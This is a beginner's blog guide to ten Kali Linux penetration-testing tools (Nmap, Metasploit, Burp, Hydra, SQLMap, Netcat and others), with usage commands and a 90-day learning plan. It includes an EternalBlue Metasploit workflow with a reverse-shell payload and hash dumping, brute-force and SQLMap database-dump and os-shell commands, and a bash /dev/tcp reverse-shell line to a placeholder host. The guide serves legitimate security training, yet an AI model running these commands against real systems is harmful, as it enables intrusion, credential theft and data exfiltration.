This article is written from 14+ years of offensive security practice. Some links are affiliate links that help keep this site running — I only recommend tools and services I’d use myself.

Kali Linux comes loaded with over 600 security tools. If you’re new to penetration testing, that’s not empowering — that’s paralyzing.

Here’s the honest truth: working pentesters don’t use most of what’s installed. They use a tight core of tools extremely well, and add specialized ones when a specific engagement calls for it. The practitioners who get hired aren’t the ones who can name every tool — they’re the ones who can actually use ten of them.

This guide covers the ten tools you should learn first. Not because they’re the flashiest — because they’re the foundation everything else is built on.

Setting Up Your Practice Environment

Before we dive in, a word on where to practice.

Running Kali on your own machine is fine for learning, but you’ll quickly want a cloud instance so you can build isolated lab networks and practice against real targets without worrying about blowing up your daily driver.

Vultr and DigitalOcean both offer $6-$12/month Kali-compatible instances with fast SSD, multiple regions, and hourly billing — so you can spin something up, practice for a weekend, and tear it down. Vultr in particular has a Kali Linux marketplace image that deploys in under 60 seconds.

If you’re doing this seriously, a small cloud VPS for your attack machine and one for a target is a better investment than yet another Udemy course.

1. Nmap — The Foundation of Everything

If penetration testing is a conversation, Nmap is how you say hello.

Nmap (Network Mapper) is a port scanner and host discovery tool that’s been the industry standard since the late 90s. Every engagement starts here. Before you can attack anything, you need to know what’s there.

What it does:

  • Discovers live hosts on a network
  • Identifies open ports and services
  • Fingerprints operating systems
  • Detects service versions (critical for finding CVEs)
  • Runs NSE scripts for targeted enumeration

Commands you’ll actually use:

# Fast scan — top 1000 ports, version detection
nmap -sV -sC -T4 <target>

# Full port scan — never skip this on a real engagement
nmap -p- -sV --open -T4 <target>

# UDP scan (slow but catches things TCP misses)
nmap -sU --top-ports 100 <target>

# Aggressive OS detection + scripts + traceroute
nmap -A <target>

# Output to all formats for reporting
nmap -sV -sC -oA scan_results <target>

Beginner mistake: Stopping at the default 1000-port scan. Services running on non-standard ports — like a web app on 8443 or SSH on 2222 — will be invisible to you. Always run -p- on anything you’re seriously targeting.

Learn more: The official Nmap book by Gordon “Fyodor” Lyon is still the definitive reference.

2. Metasploit Framework — Exploit Delivery at Scale

Metasploit is the exploit framework that turned penetration testing from a PhD-level skill into something a trained professional can execute systematically. It’s also one of the most misunderstood tools in the beginner’s arsenal.

New people think Metasploit is an auto-hack button. It’s not. It’s a framework for organizing, configuring, and delivering exploits — and for post-exploitation once you have a shell. The difference between someone who’s played with Metasploit and someone who knows it is enormous.

Key concepts:

  • Modules: Exploits, auxiliaries, post-exploitation, payloads, encoders
  • Msfconsole: The primary interface — learn it before the GUI
  • Meterpreter: An advanced, in-memory payload that survives basic detection

Workflow example:

msfconsole

# Search for modules related to your target
search type:exploit platform:windows eternalblue

# Select and configure an exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.50
set LHOST 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Run
exploit

Post-exploitation with Meterpreter:

# Gather system info
sysinfo
getuid

# Dump hashes
hashdump

# Escalate privileges
getsystem

# Move laterally
run post/multi/manage/shell_to_meterpreter

What beginners skip: The auxiliary modules. Metasploit’s auxiliary scanners are excellent for enumeration — SMB version detection, FTP anonymous login checks, MySQL enum. Use them.

3. Burp Suite — Web App Testing Headquarters

More than 70% of modern penetration tests involve web applications. If you don’t know Burp Suite, you can’t do this job properly.

Burp Suite is an intercepting proxy — it sits between your browser and the target web app, letting you capture, inspect, modify, and replay every HTTP/HTTPS request. The Community edition on Kali is free and covers most learning use cases. The Professional version ($449/year) unlocks the scanner and Intruder tool at usable speeds — worth it once you’re doing real work.

Core tools in Burp:

  • Proxy: Intercept and modify requests in real time
  • Repeater: Manually resend and tweak individual requests — essential for exploiting SQLi, XSS, IDOR
  • Intruder: Automated payload insertion (brute force, fuzzing, parameter manipulation)
  • Scanner: Automated vulnerability detection (Pro only)
  • Decoder: Encode/decode Base64, URL, HTML, hex
  • Comparer: Diff two requests or responses to spot differences

Getting started:

  1. Configure your browser to use Burp’s proxy (127.0.0.1:8080)
  2. Install Burp’s CA certificate so it can intercept HTTPS
  3. Browse to your target — watch requests populate in HTTP history
  4. Right-click anything interesting → Send to Repeater
  5. Start modifying parameters and watching what breaks

First vulnerability to practice: SQL injection via Repeater. Take a login form, intercept the POST request, send to Repeater, and start injecting ' OR '1'='1 style payloads in the password field.

4. Wireshark — See Everything on the Wire

You can’t defend — or attack — a network you don’t understand. Wireshark is the tool that makes networks visible.

It’s a packet capture and protocol analysis tool. While it’s not primarily an offensive tool, understanding how to read network traffic is foundational to almost everything in security: understanding how protocols work, catching credentials sent over cleartext protocols, analyzing malware traffic, and troubleshooting your own tools when they don’t behave as expected.

Key filters every beginner needs:

# HTTP traffic only
http

# Credentials in POST requests
http.request.method == "POST"

# Traffic to/from a specific IP
ip.addr == 192.168.1.50

# FTP credentials (cleartext!)
ftp.request.command == "PASS"

# Follow TCP stream — see the full conversation
Right-click packet → Follow → TCP Stream

# DNS queries (useful for reconnaissance)
dns

# SMB traffic
smb or smb2

Practice exercise: Set up Wireshark on a local interface, then use a tool like Telnet or FTP to authenticate to a test server. Watch your credentials appear in cleartext in Wireshark. That visceral “oh, that’s why HTTPS matters” moment sticks with you.

5. John the Ripper & Hashcat — Password Cracking

Password cracking is a core post-exploitation skill. Once you’ve dumped hashes from a compromised system, you need to crack them to escalate access, move laterally, or demonstrate real-world impact to a client.

Kali ships with both John the Ripper and Hashcat. You’ll use both for different things.

John the Ripper is easier for beginners — it auto-detects hash types and has a straightforward CLI:

# Crack an MD5 hash file with rockyou
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Crack NTLM hashes (Windows)
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt

# Show cracked passwords
john --show hashes.txt

Hashcat is faster (especially with GPU) and more flexible:

# NTLM with dictionary attack (-m 1000 = NTLM, -a 0 = dictionary)
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 with rules (rule-based mutation)
hashcat -m 0 -a 0 -r /usr/share/hashcat/rules/best64.rule hashes.txt rockyou.txt

# Check status while running
[s] key during run

On a cloud VPS: GPU cracking on a Vultr or DigitalOcean GPU instance makes a huge difference in speed compared to a laptop CPU. For CTF challenges or offline practice, a $48/month GPU droplet on DigitalOcean will crack most common hashes in minutes instead of hours.

Always have rockyou.txt: gunzip /usr/share/wordlists/rockyou.txt.gz

6. Gobuster / Feroxbuster — Directory and File Enumeration

Every web application has hidden pages — admin panels, backup files, old endpoints, test directories. Finding them is called content discovery, and it’s one of the highest-value techniques in web app pentesting.

Gobuster is the classic:

# Directory brute force
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

# DNS subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

# Virtual host enumeration
gobuster vhost -u http://target.com -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

Feroxbuster is more powerful for recursive scanning:

# Recursive content discovery with extensions
feroxbuster -u http://target.com -x php,html,js,txt -r -d 3

# With status code filtering
feroxbuster -u http://target.com -C 404,403

WordList pro tip: Install SecLists if it’s not already there (apt install seclists). It’s the community’s most comprehensive wordlist collection, covering directories, passwords, fuzzing strings, and more. It should be your first install on any new Kali setup.

7. Hydra — Network Service Brute Forcing

Once you’ve found a service — SSH, FTP, HTTP login form, SMB, RDP — Hydra lets you attempt credential attacks against it systematically.

# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.50

# FTP with username list and password list
hydra -L users.txt -P passwords.txt ftp://192.168.1.50

# HTTP POST form brute force
hydra -l admin -P rockyou.txt 192.168.1.50 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.50

Important caveats:

  • Never brute force systems without explicit authorization — this is illegal and will get you caught
  • Always set threading conservatively (-t 4) to avoid lockouts and detection
  • Check for lockout policies before you start — getting an account locked out is bad for you and the client

Hydra is for credential stuffing in lab environments and CTFs, and for testing default credentials on discovered services during authorized assessments.

8. Nikto — Web Server Vulnerability Scanner

Before you start manually poking at a web application, run Nikto. It’s a fast, automated scanner that checks for thousands of known vulnerabilities, misconfigurations, and information disclosure issues.

# Basic scan
nikto -h http://target.com

# With SSL
nikto -h https://target.com -ssl

# Save output to a file
nikto -h http://target.com -o nikto_results.txt -Format txt

# Use a specific port
nikto -h http://target.com -p 8080

# Tune to specific check categories
nikto -h http://target.com -Tuning 9  # SQL injection checks

What Nikto catches:

  • Default files and credentials (phpMyAdmin, Apache test pages, etc.)
  • Outdated software versions
  • HTTP header security misconfigurations (missing HSTS, clickjacking headers)
  • CGI vulnerabilities
  • Directory indexing enabled
  • Cookie flags missing (HttpOnly, Secure)

Nikto generates noise — it will trigger IDS/IPS alerts. Use it early in an engagement when you want breadth, then switch to manual testing for depth.

9. SQLMap — Automated SQL Injection

SQL injection remains one of the most common and impactful web application vulnerabilities in 2026. SQLMap automates the detection and exploitation of it.

# Basic injection test on a GET parameter
sqlmap -u "http://target.com/page.php?id=1"

# POST request injection
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test"

# With a captured Burp request (most reliable method)
sqlmap -r burp_request.txt

# Dump the entire database
sqlmap -u "http://target.com/page.php?id=1" --dump-all

# Get a shell if injection is severe enough
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# Bypass WAF with tamper scripts
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between

Workflow tip: Use Burp Suite to capture the raw HTTP request, save it to a file, then feed it to SQLMap with -r. This is more reliable than manually constructing the URL and handles cookies, custom headers, and CSRF tokens automatically.

SQLMap is noisy. It sends hundreds of payloads. Use it during testing windows and expect logs to light up on a monitored target.

10. Netcat — The Swiss Army Knife

Netcat is the utility that ties everything else together. It’s so fundamental that experienced pentesters often call it the “Swiss Army Knife of networking” — and they’re not wrong.

At its core, Netcat reads and writes data across network connections using TCP or UDP. That simplicity is what makes it indispensable.

Receive a reverse shell:

# On your machine (listener)
nc -lvnp 4444

# On the target (reverse shell one-liner after code execution)
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

File transfer:

# Receiver
nc -lvnp 4444 > received_file.txt

# Sender
nc target_ip 4444 < file_to_send.txt

Port scanning (when Nmap isn’t available):

nc -zv target_ip 20-100

Banner grabbing:

nc -v target_ip 80
HEAD / HTTP/1.0

Why it matters: Once you compromise a machine, you’ll often need to establish persistence, exfiltrate data, or pivot — and Netcat does all of it without requiring any additional tools. Learn to use it fluently; it’ll save you in situations where you can’t install anything.

Building Your Learning Path

Here’s how I’d structure the first 90 days:

Weeks 1-4 — Foundations:

  • Nmap until you can read a scan result and know what to target
  • Wireshark until you can read basic protocols
  • Metasploit basics against vulnerable VMs (Metasploitable2)

Weeks 5-8 — Web Application Testing:

  • Burp Suite with OWASP WebGoat and DVWA
  • SQLMap with Burp integration
  • Gobuster/Feroxbuster on CTF machines (try HackTheBox or TryHackMe)

Weeks 9-12 — Post-Exploitation:

  • John and Hashcat with real hash dumps from practice machines
  • Netcat for shells, pivoting, file transfer
  • Hydra against deliberately vulnerable services

Practice platforms: HackTheBox (intermediate+), TryHackMe (great for beginners), PentesterLab, VulnHub machines.

Your attack machine: Spin up a dedicated Kali instance on Vultr for practice — $12/month, deploy from their Kali marketplace image, snapshot it before you make changes, destroy it when done. Clean and cheap.

Final Thoughts

Mastering these ten tools won’t make you a penetration tester overnight — but it’ll make you dangerous in the best way. You’ll understand what you’re doing, why it works, and when to use something else.

The trap beginners fall into is collecting tools instead of building depth. Don’t do that. Pick one tool from this list, spend a week really learning it against real machines, and then move to the next.

Security is learned with your hands, not your eyes.

Have a tool I should have included? Drop it in the comments. I’m always curious what the community’s current must-haves are.

Disclosure: This article was written by a certified security practitioner and enhanced with AI assistance for clarity and completeness. Affiliate links to Vultr and DigitalOcean help support this site. All opinions and recommendations are based on real-world use.